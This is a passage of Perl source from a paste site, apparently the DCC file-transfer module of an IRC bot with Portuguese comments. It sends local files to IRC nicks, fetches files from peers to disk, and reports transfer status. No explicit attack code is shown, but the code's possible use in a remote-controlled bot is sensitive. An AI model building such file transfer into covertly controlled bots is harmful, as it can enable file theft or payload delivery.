  846.           open(FILE, "< $arquivo");
  847.           my $fbytes;
  848.           read(FILE, $fbytes, 1024);
  849.           print $send "$fbytes";
  850.           close FILE;
  851. #          delete($DCC{$fh});
  852.      } elsif ($dcctipo eq 'sendcon') {
  853.           my $bytes_sended = unpack("N", $msg);
  854.           $DCC{$fh}{curbyte} = $bytes_sended;
  855.           if ($bytes_sended == $bytes) {
  856.              $fh->close;
  857.              $dcc_sel->remove($fh);
  858.              $DCC{$fh}{status} = "Enviado";
  859.              $DCC{$fh}{ftime} = time;
  860.              next;
  861.           }
  862.           open(SENDFILE, "< $arquivo");
  863.           seek(SENDFILE, $bytes_sended, 0);
  864.           my $send_bytes;
  865.           read(SENDFILE, $send_bytes, 1024);
  866.           print $fh "$send_bytes";
  867.           close(SENDFILE);
  868.      }
  869.    }
  870. }
  871.  
  872.  
  873. sub SEND {
  874.   my ($nick, $arquivo) = @_;
  875.   unless (-r "$arquivo") {
  876.     return(0);
  877.   }
  878.  
  879.   my $dccark = $arquivo;
  880.   $dccark =~ s/[.*\/](\S+)/$1/;
  881.  
  882.   my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
  883.   my $longip = unpack("N",inet_aton($meuip));
  884.  
  885.   my @filestat = stat($arquivo);
  886.   my $size_total=$filestat[7];
  887.   if ($size_total == 0) {
  888.      return(0);
  889.   }
  890.  
  891.   my ($porta, $sendsock);
  892.   do {
  893.     $porta = int rand(64511);
  894.     $porta += 1024;
  895.     $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock);
  896.   } until $sendsock;
  897.  
  898.   $DCC{$sendsock}{tipo} = 'send';
  899.   $DCC{$sendsock}{nick} = $nick;
  900.   $DCC{$sendsock}{bytes} = $size_total;
  901.   $DCC{$sendsock}{arquivo} = $arquivo;
  902.  
  903.  
  904.   &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");
  905.  
  906. }
  907.  
  908. sub GET {
  909.   my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;
  910.   return(0) if (-e "$arquivo");
  911.   if (open(FILE, "> $arquivo")) {
  912.      close FILE;
  913.   } else {
  914.     return(0);
  915.   }
  916.  
  917.   my $dccip=fixaddr($dcclongip);
  918.   return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
  919.   my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0);
  920.   $dccsock->autoflush(1);
  921.   $dcc_sel->add($dccsock);
  922.   $DCC{$dccsock}{tipo} = 'get';
  923.   $DCC{$dccsock}{itime} = time;
  924.   $DCC{$dccsock}{nick} = $nick;
  925.   $DCC{$dccsock}{bytes} = $bytes;
  926.   $DCC{$dccsock}{curbyte} = 0;
  927.   $DCC{$dccsock}{arquivo} = $arquivo;
  928.   $DCC{$dccsock}{ip} = $dccip;
  929.   $DCC{$dccsock}{porta} = $dccporta;
  930.   $DCC{$dccsock}{status} = "Recebendo";
  931. }
  932.  
  933. # po fico xato de organiza o status.. dai fiz ele retorna o status de acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas
  934. sub Status {
  935.   my $socket = shift;
  936.   my $sock_tipo = $DCC{$socket}{tipo};
  937.   unless (lc($sock_tipo) eq "chat") {
  938.     my $nick = $DCC{$socket}{nick};
  939.     my $arquivo = $DCC{$socket}{arquivo};
  940.     my $itime = $DCC{$socket}{itime};
  941.     my $ftime = time;
  942.     my $status = $DCC{$socket}{status};
  943.     $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});
  944.  
  945.     my $d_time = $ftime-$itime;
  946.  
  947.     my $cur_byte = $DCC{$socket}{curbyte};
  948.     my $bytes_total =  $DCC{$socket}{bytes};
  949.  
  950.     my $rate = 0;
  951.     $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0;
  952.     my $porcen = ($cur_byte*100)/$bytes_total;
  953.  
  954.     my ($r_duv, $p_duv);
  955.     if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
  956.        $r_duv = $3; $r_duv++ if $4 >= 5;
  957.        $rate = "$1\.$2"."$r_duv";
  958.     }
  959.     if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
  960.        $p_duv = $3; $p_duv++ if $4 >= 5;
  961.        $porcen = "$1\.$2"."$p_duv";
  962.     }
  963.     return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen");
  964.   }
  965.  
  966.  
  967.   return(0);
  968. }
  969.  
  970.  
  971. # esse 'sub fixaddr' daki foi pego do NET::IRC::DCC identico soh copiei e coloei (colokar nome do autor)
  972. sub fixaddr {
  973.     my ($address) = @_;
  974.  
  975.     chomp $address;     # just in case, sigh.
  976.     if ($address =~ /^\d+$/) {
  977.         return inet_ntoa(pack "N", $address);
  978.     } elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
  979.         return $address;
  980.     } elsif ($address =~ tr/a-zA-Z//) {                    # Whee! Obfuscation!
  981.         return inet_ntoa(((gethostbyname($address))[4])[0]);
  982.     } else {
  983.         return;
  984.     }
  985. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement